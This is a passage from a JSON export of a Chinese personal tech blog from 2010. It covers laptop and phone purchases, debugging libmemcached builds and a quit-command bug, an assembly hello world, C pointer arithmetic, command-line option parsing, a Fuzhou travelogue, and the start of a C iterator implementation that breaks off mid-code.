href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西\u003c/a\u003e(Messi)是一摸一样的。\u003c/p\u003e","title":"梅西，我的神啊！"},{"content":"这里卖了个小关子，所谓工作装备就是指我的笔记本。\n本周三伴随了我三年多的R系Thinkpad终于因显卡故障再也无法正常启动了，至于它是否就此光荣退役，那还要看设备修理部门同事是否能修好它。\n我这边只能重新申请装备了。公司近两年采购的办公设备都是HP的，HP的东西质量如何想必大家通过今年央视的\u0026quot;3.15\u0026quot;晚会也都有所了解了，商用采购的设备质量也好不了哪去，黑屏、蓝屏、过热、烧主板的情况我从使用HP本子的同事那听得多了。今年公司采购似乎有所改变，新采购的台式机都已经换成了LENOVO，挺漂亮的。目前还不知道新本子是否也是联想的，很有可能是Thinkpad哦，现在Thinkpad价格也不再那么高高在上了。不过我这可没法等下去。我呢，是个不折不扣的Thinkpad Fans，虽谈不上死忠，但一般来说也是非Thinkpad不用。秘书那有新HP本子和二手Thinkpad本，我选择了后者，一台2006年采购的x60，12寸的小本。开始我也担心屏幕、键盘太小会影响平时编码，但是拿到手中后发现1024*768的屏幕并没有想象中的那么狭窄，键盘也是全尺寸键盘，除了右侧的ctrl键有些小外(因为增加了Win键的缘故)。X系就是轻巧，感觉总重量还不如我的那个双肩红点笔记本包呢，以后出差就更方便了，既节省空间也节省体力^_^。\n本周四拿到机器，马上着手装系统、导数据。本子内存容量有些小，700多M应付XP还差不多，不过Win7着实也吸引着我(XP太老了)，最终我选择了Windows 7。另外在硬盘分区时我为即将在下个月发布的Ubuntu 10.04预留了足够空间。\nMicrosoft的Win7的确是一款不错的OS，在我这台四年前配置的机器上跑依旧顺畅，如果是vista估计就没的跑了。不过内存太小还是会影响到运行大程序时的速度，内存和磁盘之间的数据交换比较频繁。\n安装完我常用的应用程序集合：Launchy + GVIM + Firefox + Thunderbird + Foxit Reader + Google Pinyin + AVG Anti-Virus 之后，X60便正式进入工作状态了。\n这里上一张新装备的靓照（左边的是前不久从美国给LP采购的T400）\n","permalink":"https://tonybai.com/2010/03/20/upgrade-r51-to-thinkpad-x60/","summary":"\u003cp\u003e这里卖了个小关子，所谓工作装备就是指我的笔记本。\u003c/p\u003e\n\u003cp\u003e本周三伴随了我三年多的R系Thinkpad终于因显卡故障再也无法正常启动了，至于它是否就此光荣退役，那还要看设备修理部门同事是否能修好它。\u003c/p\u003e","title":"工作装备更新了"},{"content":"开了一个下午的技术交流会，回到办公室时离下班时间已经不远，天气预报说今晚有暴雪，外面阴沉的天气似乎也证实了这一点。这时一个同事遇到了一个软件包编译的问题，一时无法解决，向我求助。\n这是一个libmemcached的编译问题，我们用的是libmemcached 0.34版本，我的同事在PC Solaris上执行libmemcached的configure脚本时遇到如下错，Configure脚本提示：\nchecking for pthread-config… no\nconfigure: error: could not find libpthread\n但经过确认系统中明明在/usr/lib下有pthread相关库的存在：\nTony Bai-[~/libmemcached-0.34]526:\u0026gt;ll /usr/lib|grep pthread\nlrwxrwxrwx 1 root root 26 2009 9月 10 llib-lpthread.ln -\u0026gt; ../../lib/llib-lpthread.ln\nlrwxrwxrwx 1 root root 23 2009 9月 10 llib-lpthread -\u0026gt; ../../lib/llib-lpthread\nlrwxrwxrwx 1 root root 25 2009 9月 10 libpthread.so.1 -\u0026gt; ../../lib/libpthread.so.1*\nlrwxrwxrwx 1 root root 25 2009 9月 10 libpthread.so -\u0026gt; ../../lib/libpthread.so.1*\n又确认了一下用户的环境变量设置，LD_LIBRARY_PATH也包含了这些库的目录。\n经验告诉我，这个错误是假象，向上翻Configure的输出结果，的确发现些奇怪的Check结果，如下：\nchecking for ANSI C header files… no\nchecking for sys/types.h… no\nchecking for sys/stat.h… no\nchecking for stdlib.h… no\nchecking for string.h… no\nchecking for memory.h… no\nchecking for strings.h… no\nchecking for inttypes.h… no\nchecking for stdint.h… no\nchecking for unistd.h… no\n第一感觉，这怎么可能呢？这些标准C库头文件居然都Check失败了！在网上用“checking for ANSI C header files… no”搜了一下，也没有找到很好的答案。\n我对Configure了解也不多，但是还是让我发现了config.log这根救命稻草。config.log这个文件详细地记录了Configure的每一步校验的执行内容和结果，其中对于标准C头文件的Check是这样做的：\nconfigure:4827: checking for ANSI C header files\nconfigure:4857: gcc -c -g -O2 -m64 conftest.c \u0026gt;\u0026amp;5\nconftest.c:1: sorry, unimplemented: 64-bit mode not compiled in\nconfigure:4864: $? = 1\nconfigure: failed program was:\n| /* confdefs.h. */\n| #define PACKAGE_NAME \u0026ldquo;libmemcached\u0026rdquo;\n| #define PACKAGE_TARNAME \u0026ldquo;libmemcached\u0026rdquo;\n| #define PACKAGE_VERSION \u0026ldquo;0.34\u0026rdquo;\n| #define PACKAGE_STRING \u0026ldquo;libmemcached 0.34\u0026rdquo;\n| #define PACKAGE_BUGREPORT \u0026ldquo;http://tangent.org/552/libmemcached.html\u0026quot;\n| /* end confdefs.h. */\n| #include\n| #include\n| #include\n| #include\n|\n| int\n| main ()\n| {\n|\n| ;\n| return 0;\n| }\nconfigure:4995: result: no\n再往下看，检测sys/types.h等标准库头文件的错误都是：\nconftest.c:1: sorry, unimplemented: 64-bit mode not compiled in\nconfigure:5047: $? = 1\n看来并非是系统没有包含标准头文件，而是Configure采用了64-bit编译的方法去测试头文件存在的时候出错。随意创建一个testm64.c的源文件，输入:\n/* testm64.c */\nint main() {\n;\nreturn 0;\n}\n用gcc -g -m64 testm64.c执行编译，得到与之前相同的错误结果：\ntestm64.c:1: sorry, unimplemented: 64-bit mode not compiled in\n查看Gcc版本，发现是3.4.6，突然恍然大悟，这不是之前发现在Solaris 10 for x86上Gcc 64位编译的一个问题吗，在Solaris 10 for x86上如果要进行64位编译，要使用/usr/sfw/bin下的gcc 3.4.3版本，不能用3.4.6版本。\n除了更换Gcc之外，如果你想编译32位版本的话，还可以这样来做：修改Configure脚本，打开Configure，将-m64字样全部删除。这样Configure后编译libmemcached就一切顺利了。\n以上关于Configure脚本问题的解决方法，有一定的通用性，因此记之。\n","permalink":"https://tonybai.com/2010/03/19/also-talk-about-solving-the-problem-of-configure-script/","summary":"\u003cp\u003e开了一个下午的技术交流会，回到办公室时离下班时间已经不远，天气预报说今晚有暴雪，外面阴沉的天气似乎也证实了这一点。这时一个同事遇到了一个软件包编译的问题，一时无法解决，向我求助。\u003c/p\u003e","title":"也谈Configure脚本问题的解决"},{"content":"近期中国移动推广3G业务普惠大众，推出多款3G定制机参加存话费增手机活动。先是一位同事存了一款多普达的强机，这让我心痒不已^_^。但是Windows Mobile的系统我是不喜欢的。到辽宁移动网站上查看了一下参加活动的机型，发现了一款心仪的型号：摩托罗拉MT710，就是近期电视广告里频频曝光的那款黑红机，上周六我就迫不及待的到营业厅将这款强机请回了家。\nMOTO的机子说实话不咋样，机子谈不上精致，配置谈不上顶级，细节之处处理的也不及诺基亚和多普达，电池更是为大众所诟病，但是就这款手机我第一眼就看中了，也没什么办法不是。之前我也一直在用Moto的手机，用了很长时间了，本也打算换了。\n用了两天，列一些这款机型的优缺点，供大家参考：\n【长处】\n1、OPhone系统（基于Google Android，对于程序员的我来说，有一定吸引力）\n2、外观时尚漂亮（黑红搭配，我喜欢）\n3、WIFI+WAPI（行货iPhone都不具备的哦^_^）\n4、手机电视+GPS导航 （虽然不常用，但是功能必须都要具备^_^）\n【不足】\n1、电池持续时间短（省着用，也就两天）\n2、电阻屏（手指操作体验不好，不及电容屏）\n3、网上资料较少（新机器，新系统，资料少可以理解）\n【遗留问题】\n1、不知如何关闭主屏中的“快讯”？\n2、不知如何关闭功能键按键振动效果？\n","permalink":"https://tonybai.com/2010/03/16/buy-moto-mt710/","summary":"\u003cp\u003e近期中国移动推广3G业务普惠大众，推出多款3G定制机参加存话费增手机活动。先是一位同事存了一款多普达的强机，这让我心痒不已^_^。但是Windows Mobile的系统我是不喜欢的。到辽宁移动网站上查看了一下参加活动的机型，发现了一款心仪的型号：摩托罗拉\u003ca href=\"http://mt710.motorola.com.cn/\"\u003eMT710\u003c/a\u003e，就是近期电视广告里频频曝光的那款黑红机，上周六我就迫不及待的到营业厅将这款强机请回了家。\u003c/p\u003e","title":"“MT710”请回了家"},{"content":"近期一直在做一个项目架构演化的讨论交流，为了解决产品中存在的某些问题，我们有意引入某种类Memcached的开源产品，但我们的应用场景并非经典Memcached的“Cache”场景，这里也不详述细节了，大致就是这么一件事儿。\n我们的第一选择是日本小伙儿Mikio Hirabayashi实现的Tokyo Tyrant，主要基于三点原因：\n-\u0026gt; 支持数据的持久化\n-\u0026gt; 快！（性能数据来自于网上的第三方资料）\n-\u0026gt; 无商业许可证束缚\n关于Tokyo Tyrant，其实网上是褒贬不一的，特别是在这个网友的博客中谈到的Tokyo Tyrant的各种问题还是让人不免有些担心的。我们的产品应用场合对系统的稳定性有着及其严格的要求，所以不管开源产品本身宣传的有多么好多么稳定，我们在设计架构方案时还是要有自己的确保系统稳定运行的方案的。\n一定的冗余是个简单而有效的保证系统稳定可靠的方案。Tokyo Tyrant本身支持主备运行方案，支持在主备Server之间近实时的同步数据，但方案带来的资源消耗开销以及不稳定的因素让我们不得不放弃了这种由服务端来完成冗余的方案。我们改由客户端来完成这件事。\nTokyo Tyrant兼容Memcached Protocol，使用常见的Memcached客户端即可完成对Tokyo tyrant的访问和各种数据操作。Memcached客户端中，我们首选人气最旺、使用者最多的Libmemcached包。Libmemcached包目前还未发布1.0版，依旧处于积极开发阶段，代码在各个版本之间变动较大(你可比对一下0.34和0.38这两个版本)，Bug也就不可避免。在第一次试用过程中就发现了0.38版的一个BUG，大致是这样的：\n模仿Libmemcached官方例子写了一个简单测试程序：\n/* mctest.c */\n[\u0026hellip;]\nmemc = memcached_create(NULL);\nservers = memcached_server_list_append(NULL, \u0026ldquo;10.10.0.1\u0026rdquo;, 20001, \u0026amp;rc);\nservers = memcached_server_list_append(servers, \u0026ldquo;10.10.0.2\u0026rdquo;, 20001, \u0026amp;rc);\nrc = memcached_server_push(memc, servers);\nmemcached_server_free(servers);\nstrcpy(value, \u0026ldquo;This is c first value\u0026rdquo;);\nrc = memcached_set(memc, \u0026ldquo;key1\u0026rdquo;, 4, value, strlen(value), (time_t)180, (uint32_t)0);\n[\u0026hellip;]\nreturn_value = memcached_get(memc, \u0026ldquo;key1\u0026rdquo;, 4, \u0026amp;return_value_length, \u0026amp;flags, \u0026amp;rc);\n[\u0026hellip;]\nrc = memcached_delete(memc, \u0026ldquo;key1\u0026rdquo;, 4, (time_t)0);\n[\u0026hellip;]\nmemcached_free(memc);\n编译执行该程序，程序执行到memcached_free时停了下来，并一直在wait。通过pstack查看进程栈：\nff2457c8 pollsys (ffbfb6b0, 1, 0, 0)\nff1e1d24 poll (ffbfb6b0, 1, ffffffff, 1, 3, 2db48) + 7c\n00014800 io_wait (ffbfb6b0, ffffffff, 0, 0, ff26e308, 0) + 5c\n00014980 memcached_io_read (36690, ffbfb7b8, 2004, ffbfb79c, ff390100,\n2db48) + e4\n00015aec memcached_quit_server (36690, 2000, 0, ff27333a, ff26e308, 19)\n+ 130\n00015b5c memcached_quit (2db48, ffbff9b4, ffbff9bc, 2db3c, ff390100,\nff390140) + 30\n000153e8 memcached_free (2db48, ff27331c, 0, ff27333a, ff26e308, 19) + 4\n000127fc main (1, ffbff9b4, ffbff9bc, 2db3c, ff390100, ff390140) + 2c0\n000123d4 _start (0, 0, 0, 0, 0, 0) + 5c\n程序一直在空Poll而无法退出。跟踪Libmemcached源代码，发现在memcached_quit_server的实现中有一处调用memcached_do时传入的参数似乎有问题：\nrc= memcached_do(ptr, \u0026ldquo;quit\\r\\n\u0026rdquo;, sizeof(\u0026ldquo;quit\\r\\n\u0026rdquo;), true);\n我翻看对比了0.34版代码，发现这块儿的sizeof(\u0026ldquo;quit\\r\\n\u0026rdquo;)用错了，应该使用strlen(\u0026ldquo;quit\\r\\n\u0026rdquo;)或者使用sizeof(\u0026ldquo;quit\\r\\n\u0026rdquo;)-1。修改并重新build后再执行a.out，一切OK! 看来我的判断是没错的。\n我们希望产品运行过程中，任意TT server实例因异常的退出都不会影响到业务的正常运行。如何做？Libmemcached自带一种机制，针对同一份数据可在多个Server间Set多个复制品，同样在Get数据时也不用担心某一个实例异常退出。\n验证这一方案也着实费了一些功夫：要使用replicas set，则客户端必须设置采用memcached binary协议：\nrc = memcached_behavior_set(memc, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1);\nrc = memcached_behavior_set(memc, MEMCACHED_BEHAVIOR_NUMBER_OF_REPLICAS, 2);\nstrcpy(value, \u0026ldquo;This is c first value\u0026rdquo;);\nrc = memcached_set(memc, \u0026ldquo;key1\u0026rdquo;, 4, value, strlen(value), (time_t)180, (uint32_t)0);\n但是设置了binary协议后，测试程序在memcached_set处挂起；一开始怀疑还是0.38版本的BUG，尝试换到0.34版本问题依旧；无奈采用抓网卡包的方式来定位问题，这才发现原来Tokyo Tyrant不支持Memcached Binary Protocol，根本没有给反馈应答，都怪事先没有细致的读完TT server的文档，走了弯路。\n换用Ubuntu上运行的Memcached Server测试这一方案，结果依然不成；到Memcached官方去寻找答案，发现1.4以上的Memcached才支持Memcached Binary Protocol，而我的Ubuntu上的Memcached是1.2版本的；升级Memcached后，再测试，Set操作果然好用了。Get操作在Master Server完好的情况下是成功的，但是一旦手工停掉Master Server，则测试程序仍旧无法读取其他Replicas数据，这让我很疑惑。\n又细想了一下，Libmemcached是一个通用的实现，对于满足我们特定业务的要求还有一定距离。Replicas机制不能直接使用，在Master Key Server宕掉的情况下，无论Set or Get都不能成功。一个简单的方案是通过“Set数据到”或“Get数据从”两组server list的方式来保证数据的冗余和安全性或在一组server list内部按一定规则做冗余存储，我们要做的只是封装出一个易用的接口罢了！\n","permalink":"https://tonybai.com/2010/03/15/try-libmemcached/","summary":"\u003cp\u003e近期一直在做一个项目架构演化的讨论交流，为了解决产品中存在的某些问题，我们有意引入某种类\u003ca href=\"http://memcached.org/\"\u003eMemcached\u003c/a\u003e的开源产品，但我们的应用场景并非经典Memcached的“Cache”场景，这里也不详述细节了，大致就是这么一件事儿。\u003c/p\u003e\n\u003cp\u003e我们的第一选择是日本小伙儿\u003ca href=\"http://www.1978th.net/\"\u003eMikio Hirabayashi\u003c/a\u003e实现的\u003ca href=\"http://www.1978th.net/tokyotyrant/\"\u003eTokyo Tyrant\u003c/a\u003e，主要基于三点原因：\u003cbr\u003e\n-\u0026gt; 支持数据的持久化\u003cbr\u003e\n-\u0026gt; 快！（性能数据来自于网上的第三方资料）\u003cbr\u003e\n-\u0026gt; 无商业许可证束缚\u003c/p\u003e","title":"试用Libmemcached"},{"content":"都说汇编不易学习和使用，的确不假。自己自大学以来也曾多次尝试学习汇编，甚至大学时还有相应课时，但是自己对汇编依旧是浅尝辄止。工作后也少有使用，对汇编的认识也就停留在基础层面。汇编的学习与对计算机系统的理解是密不可分的。工作这些年也算是一直浸淫于系统层面，经过多本底层相关书籍的教诲以及工作中的实践，对计算机系统的理解就自然而然加深了。昨天下载了一本名为：“Professional Assembly Language(中文名：汇编语言程序设计)” 的电子书，目的是想了解一下C内联汇编（Inline Assmebly）。花了半个小时读后，居然感觉轻松自如，和自己大脑中的知识融会贯通起来。发现这本书在卓越网还有“剩本”，也就抓紧买了下来，下周到货。\n本书使用linux和AT\u0026amp;T汇编语法，正合我的胃口。以下是根据书中例子改出来的一段汇编版HelloWorld.s：\n# HelloWorld.s\n# as -o HelloWorld.o HelloWorld.s\n# ld -o HelloWorld HelloWorld.o\n.section .data\noutput:\n.ascii \u0026ldquo;hello world\\n\u0026rdquo;\n.section .text\n.globl _start\n_start:\nnop\nmovl $output, %ecx\nmovl $4, %eax # the index of sys call \u0026lsquo;write\u0026rsquo;\nmovl $1, %ebx # file descriptor\nmovl $12, %edx # length of the string\nint $0×80\nmovl $1, %eax # the index of sys call \u0026rsquo;exit\u0026rsquo;\nmovl $0, %ebx\nint $0×80\n在调试上面代码时有两个注意事项要考虑：\n1、调用write时，%edx务必赋值，否则将无法正确输出；\n2、在Ubuntu 9.04下，如果结尾不调用exit，执行程序后会有\u0026rsquo;段错误\u0026rsquo;，目前依然不得其解，通过GDB调测后猜测是未作收尾处理，处理器继续取EIP所指地址的指令内容，执行出错。\n将这段代码拿到Solaris10 for x86上执行，无法输出“hello world”，并伴有\u0026rsquo;段错误\u0026rsquo;，目前尚不得其解。\n让HelloWorld.s作为再次尝试熟悉汇编的一个起点吧^_^。\n","permalink":"https://tonybai.com/2010/02/28/helloworld-in-assembly/","summary":"\u003cp\u003e都说汇编不易学习和使用，的确不假。自己自大学以来也曾多次尝试\u003ca href=\"http://tonybai.com/2005/11/12/open-the-gate-to-assembly-language/\"\u003e学习汇编\u003c/a\u003e，甚至大学时还有相应课时，但是自己对汇编依旧是浅尝辄止。工作后也少有使用，对汇编的认识也就停留在基础层面。汇编的学习与对计算机系统的理解是密不可分的。工作这些年也算是一直浸淫于系统层面，经过多本底层相关书籍的教诲以及工作中的实践，对计算机系统的理解就自然而然加深了。昨天下载了一本名为：“\u003ca href=\"http://www.douban.com/subject/1446250/\"\u003eProfessional Assembly Language\u003c/a\u003e(中文名：汇编语言程序设计)” 的电子书，目的是想了解一下\u003ca href=\"http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html\"\u003eC内联汇编\u003c/a\u003e（Inline Assmebly）。花了半个小时读后，居然感觉轻松自如，和自己大脑中的知识融会贯通起来。发现这本书在\u003ca href=\"http://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/\"\u003e卓越网\u003c/a\u003e还有“剩本”，也就抓紧买了下来，下周到货。\u003c/p\u003e","title":"HelloWorld.s"},{"content":"指针在C语言中的位置这里就不多说了，这里说一下C的指针运算。指针运算一般针对的是同一连续内存块，不同内存块之间的指针运算无意义，甚至可能导致异常情况。\n指针运算主要针对数组，常见的运算类型：+i, -i, ++, –以及 \u0026lt; , \u0026gt;等。\n我们以+i操作为例。运算时编译器需要知道一些必要的信息，比如p = p + 1操作时编译器需要知道这个运算后，p这个指针需要移动多少个字节，那这个信息哪里来呢，由指针p所指数据单元的类型来确定。\n比如：\nint *p; [\u0026hellip;] ; p = p + i =\u0026gt; p指向int型数据，p加i运算后移动i * sizeof(int)个字节，即i * 4个字节。\nchar *p; [\u0026hellip;] ; p = p + i =\u0026gt; p指向char型数据，p加i运算后移动i * sizeof(char)个字节，即i * 1个字节。\nstruct Foo *p; [\u0026hellip;] ; p = p + i =\u0026gt; p指向struct Foo型数据，p加i运算后移动i * sizeof(struct Foo)个字节.\nchar *p[4](\u0026lt;=\u0026gt; (char*)p[4]，可用char **p指向该数组中的某一个元素); [\u0026hellip;] ; p = p + i =\u0026gt; p指向char*数据，p加i运算后移动i * sizeof(char*)个字节，即i * 4个字节.\nchar (*p)[4](p是一个指向二维数组的指针，该二维数组的行宽度为char[4]); [\u0026hellip;] ; p = p + i =\u0026gt; p指向char[4]型数据，p加i运算后移动i * sizeof(char[4])个字节，即i * 4个字节。\nint (*p)[7](p是一个指向二维数组的指针，该二维数组的行宽度为int[7]); [\u0026hellip;] ; p = p + i =\u0026gt; p指向int[7]型数据，p加i运算后移动i* sizeof(int[7])个字节，即i * 28个字节。\n再考虑一个稍微复杂些的指针运算：有一个多维数组int a[5][6]，一般取其中某个元素时可采用*(*(a + i) + j)的形式来达到目的。这个指针运算有些复杂，起码不那么一目了然，我们不妨用”代换法”来分析一下:\n我们可将int a[5][6]理解为一个拥有5个元素，每个元素是int[6]类型的一维数组，其实若写成(int[6]) a[5]则更好理解(但可惜这不是C语言的语法)，那么(int[6]) *p1则是指向数组(int[6]) a[5]中某个元素的指针,且可进行p1 = a这样的赋值；现在我们换成C语言语法那就是int (*p1)[6]；p1 = a。这样一来我们将二维化为一维，就可以利用前面的规则了。a + i \u0026lt;=\u0026gt; p1 + i，指针移动 i * sizeof(int[6]);\n我们让p2 = *(a + i) \u0026lt;=\u0026gt; *(p1 + i)，这样p2同样也变成一维数组(int型一维数组)，p2作为数组名，自然也可作指针操作；p2 + j后，指针再移动 sizeof(int) * j个字节。\n综上，*(*(a + i) + j)运算后，指针实际移动了 i * sizeof(int[6]) + j * sizeof(int)个字节。\n多维数组的指针运算必要信息是由除最左维度外其他所有维度的长度信息所共同组成的，比如一个三维数组：char a[5][6][7]，匹配该数组的指针类型为char (*p)[6][7]; 二三维度的长度为编译器提供了指针运算的必要信息，这里也提醒我们在将多维数组作为参数传递时务必要小心参数匹配的问题，维度信息不同会导致多维数组与相应的函数形参匹配，比如：\nchar a[5][6][7]与void func(char a[][7][8])；因维度信息不同而无法匹配。\nchar a[5][6][7] or char (*p)[6][7]则与void func(char a[5][6][7])/void func(char (*p)[6][7])匹配。\n","permalink":"https://tonybai.com/2010/02/23/also-talk-about-pointer-arithmetics/","summary":"\u003cp\u003e指针在C语言中的位置这里就不多说了，这里说一下C的指针运算。指针运算一般针对的是同一连续内存块，不同内存块之间的指针运算无意义，甚至可能导致异常情况。\u003c/p\u003e","title":"也谈指针运算"},{"content":"翻看一本关于Shell方面的书，有一章节对命令行选项的讲解比较详细，这里总结了一下：\n命令行选项分类：\n1、无命令行选项(option)\n如：mv file1 file2；\n在命令后名显示增加一个\u0026rsquo;-\u0026rsquo;，也是一种显式无option的表达。比如：mv – file1 file2\n2、有命令行选项，但无Option参数\n如：rm -f file1\nrm -f -r dir1\n无参数的option可组合在一起表达，如：rm -fr dir1\n3、有命令行选项，且带命令行参数\n如：gcc -o test test.c\n4、长命令行选项(long options)\n如：gcc –help\n因为很少自己处理main()，所以似乎还从未写过解析复杂命令行选项的代码。复杂的命令行选项的解析还是蛮复杂的，但是不要自己发明轮子。GNU的标准库给我们提供了两个良好的接口getopt和getopt_long，而且在GNU C Manual中有很好的例子供参考。但getopt的那个例子是有bug的，某些情况cvalue值始终为NULL，会dump core(在Solaris下)。\n初级文章，记之以备忘。\n","permalink":"https://tonybai.com/2010/02/09/parse-command-line-options/","summary":"\u003cp\u003e翻看一本关于\u003ca href=\"http://www.douban.com/subject/3519360/\"\u003eShell方面的书\u003c/a\u003e，有一章节对命令行选项的讲解比较详细，这里总结了一下：\u003c/p\u003e\n\u003cp\u003e命令行选项分类：\u003cbr\u003e\n1、无命令行选项(option)\u003cbr\u003e\n如：mv file1 file2；\u003cbr\u003e\n在命令后名显示增加一个\u0026rsquo;-\u0026rsquo;，也是一种显式无option的表达。比如：mv – file1 file2\u003c/p\u003e","title":"命令行选项解析-备忘"},{"content":"连续多个星期都没有休息了，身体倒还可以，但是心情却有些烦躁。恰好今天事情不多，就和领导请示了一下，和同事出去散散心。来福州多次了，每次都是在客户现场和酒店两点一线间忙碌，还从未有时间游览过福州的景点。因为只有一下午时间，所以我们选择了一条常规路线：三坊七巷 – 乌山。\n近两天福州降温，外面温度也就10度左右，天上还飘着蒙蒙细雨，心想：雨中的古街也许更有魅力。我们住在桥南，坐77路公交到双抛桥车站下车(市内出游我向来都首选公交)，下车后向西走，不远处就可以看到南后街的路标，这里就是著名的三坊七巷的入口了。\n南后街\n南后街就是一条仿古步行街，也许“仿古”二字并不恰当，因为其身后的三坊七巷的确都有着很长年头了，但街路两旁矗立的带有明显现代人建造痕迹的仿古建筑还是给游客一种“仿”的感觉。和全国所以其他类似的街道一样，这些建筑已经全部被商家占领了^_^，向游客提供各种琳琅满目的商品。\n我们下车所在的双抛桥车站位于杨桥路上，杨桥路未改造为大马路之前原名杨桥巷，也是三坊七巷中的七巷之一；由北向南，我们首先看到的是左手边的“郎官巷”。走入巷内映入眼帘的满是白墙、青瓦、石板路和木门结构的建筑，特别是走在雨后的石板路上别有一番味道。不过这里似乎正在做改造，巷子中有很多正在施工的痕迹，二梅书屋并未开放（是不是从来就没有开放过不得而知），严复的故居倒是可以游览。\n老巷子1\n老巷子2\n回到南后街上继续向南走，路旁一家号称“中华老字号”、“福州第一家茉莉花茶”的茶叶店吸引了我们。茉莉花茶起源于福州，福州的茉莉花茶闻名海内，很多同事都想在回家的时候带上些茶叶自己喝或者送给亲友，我们遂走入店内。店内人不多，据店员介绍这家店是福州茶厂的直销店，福州茶厂目前依旧是一家国营茶厂，历史悠久，品质绝对可靠。我们品了\u0026quot;雀舌尖\u0026quot;，听店员讲解：一泡是水、二泡是茶，三泡四泡是精华。像这种\u0026quot;雀舌尖\u0026quot;七八泡后还是香气犹存，喝到口中回甘持久。同事喜好茶，于是雀舌尖、龙珠和大红袍都购了些，满载出店。\n正值中午时分，肚腹饥饿，在南后街口的导游图上得知街上有永和鱼丸和同利肉燕。福州鱼丸吃过一次，但不是最正宗的，这次一定要尝尝。永和鱼丸号称老字号，店里人很多。叫了一碗6元钱的“福寿双全”。所谓“福寿双全”就是鳗鱼丸和鲨鱼丸混在一起的意思。和上次吃的鱼丸相比，永和鱼丸稍小一些，筋头儿偏小，馅儿不是那么油，总体来说很不错。但如果说一定要和其他鱼丸分个上下，这还真不好讲。\n福寿双全\n永和鱼丸\n同利肉燕\n下一个坊是衣锦坊，这个坊里面的\u0026quot;水榭戏台\u0026quot;确值得大家一看，绝对是三坊七巷中的精华了。水榭戏台坐落在一处院落中。这个院落也着实不小，游客可以参观的有前后两层厅房。不知为何我们参观的时候前厅布满喜气，似乎是刚刚办完喜事。\n老宅子\n戏台在宅子东侧院，在荷花池上方一座漂亮的亭子似的建筑就是古戏台，更让人叫绝的是观众席居然是二层楼，想当年这家宅子的主人还真是阔气。之所以是二层，景点管理人员说是为了男女有别。\n水榭戏台\n剩余的巷和坊（黄巷、安民巷、官巷、文儒坊）景致与此前的多大同小异，而且东侧的多个巷子因改造施工，景点大多无法游览。我们也未深入，倒是花了不少时间在根雕艺术展、剪纸艺术展上。\n三坊七巷\n最后的光禄坊和吉庇路已经改造成了马路，再加上前面的杨桥巷，所谓的三坊七巷实际上已经成为了“两坊五巷”了。\n沿着南后街继续南行就是乌山方向，但是考虑时间估计已经不够了，我们就放弃了乌山计划，改为参观林则徐纪念馆。福州文化政治名人不少，但林则徐的地位应是数一数二的。从林则徐纪念馆的馆舍和规模来看也可以印证我的结论。林则徐纪念馆的规划很好，无需人工指引，游客也能一个不落的游览完全部展馆。而且该纪念馆有效的利用现代信息技术和声光电来布展，使展品更形象逼真，在我之前参观的名人纪念馆中无出其右者。\n林则徐纪念馆\n在外游览了五个小时，心情也舒畅了些。还有不到10天就是春节了，还是尽快把客户现场的事情了了，春节我可不想在福州过^_^。\n","permalink":"https://tonybai.com/2010/02/04/a-tour-of-san-fang-qi-xiang-in-the-rain/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2010/01/29/working-busy-at-fuzhou/\"\u003e连续多个星期\u003c/a\u003e都没有休息了，身体倒还可以，但是心情却有些烦躁。恰好今天事情不多，就和领导请示了一下，和同事出去散散心。来福州多次了，每次都是在客户现场和酒店两点一线间忙碌，还从未有时间游览过福州的景点。因为只有一下午时间，所以我们选择了一条常规路线：三坊七巷 – 乌山。\u003c/p\u003e\n\u003cp\u003e近两天福州降温，外面温度也就10度左右，天上还飘着蒙蒙细雨，心想：雨中的古街也许更有魅力。我们住在桥南，坐77路公交到双抛桥车站下车(市内出游我向来都首选公交)，下车后向西走，不远处就可以看到南后街的路标，这里就是著名的三坊七巷的入口了。\u003c/p\u003e","title":"雨中游三坊七巷"},{"content":"这几天一直处于编码状态，也找回了一些对代码的良好感觉。\n昨天晚上闲暇时翻阅“Head First设计模式”，当翻到迭代器模式时，突然有了想法：实现一个iterator。这几天编码时恰好也写了一个简单的带有遍历功能的小数据结构，不妨用iterator改造一下这个数据结构的遍历接口，看是否能成行。\n迭代器模式较为简单，网上的文章也多得很，这里就不再贽述了，直接看实现思路和代码吧。\n在迭代器模式中，有几个角色不得不说，一就是iterator本身，还有一个就是所谓的“容器类”，容器类三个字显得概念很大，这里不用之。我们换一种轻松的说法，就是带有遍历功能的一类数据结构吧，这里记为类型T。类型T千变万化，iterator则以不变应万变，提供一种在无需知道T内部实现行为前提下的对T实例内各元素的有序遍历的接口。\n这样一来iterator的应用场景大致就应该是这样的：\nT *t;\nT_item_t *ti;\n// …\niterator *itor = T_iterator(t);\nfor ( ; has_next(itor); ) {\nti = (T_item_t*)get_next(itor);\n// …\n}\niterator_free(itor);\n这里我们使用了四个函数has_next, get_next、iterator_free和T_iterator。其中has_next、get_next和iterator_free是iterator提供的函数接口，T_iterator则是需要每个支持iterator的数据结构去实现的接口。\n以下是iterator.h的主要代码片段：\n/* iterator.h */\n#ifndef _ITERATOR_H_\n#define _ITERATOR_H_\nenum {\nFALSE = 0,\nTRUE = 1\n};\ntypedef int bool; /* TRUE or FALSE */\ntypedef struct iterator iterator;\ntypedef bool (*HAS_NEXT_HOOK_FUNC)(void *collection_instance, void *collection_inner_itor);\ntypedef void* (*GET_NEXT_HOOK_FUNC)(void *collection_instance, void *collection_inner_itor);\n/* 提供给T类型实现T_interator时使用 */\niterator* iterator_new(void *collection_instance,\nvoid *collection_inner_itor,\nHAS_NEXT_HOOK_FUNC h,\nGET_NEXT_HOOK_FUNC g);\nbool has_next(iterator *itor);\nvoid* get_next(iterator *itor);\nvoid iterator_free(iterator *itor);\n#endif /* _ITERATOR_H_ */\niterator_new接口主要供类型T实现T_iterator接口时使用，目的是对类型T屏蔽iterator的内部结构实现；collection_instance指向T的实例；collection_inner_itor则是类型T内部实现的一个保存iterator状态的变量，每个类型T都应该有这样一个内部数据；两个callback函数则分别由类型T内部实现，在T_iterator实现中调用iterator_new时传入。iterator对T有一定的侵入性，这在C语言中似乎是不可避免的，即使在Java中支持iterator接口的类也需要提供一个creatIterator的public接口，另外实现iterator接口的iterator类也需要提供具体的get_next和has_next实现。\n以下则是iterator.c的代码，没有太多值得多说的地方，相信大家都可以看懂^_^：\n/* iterator.c */\nstruct iterator 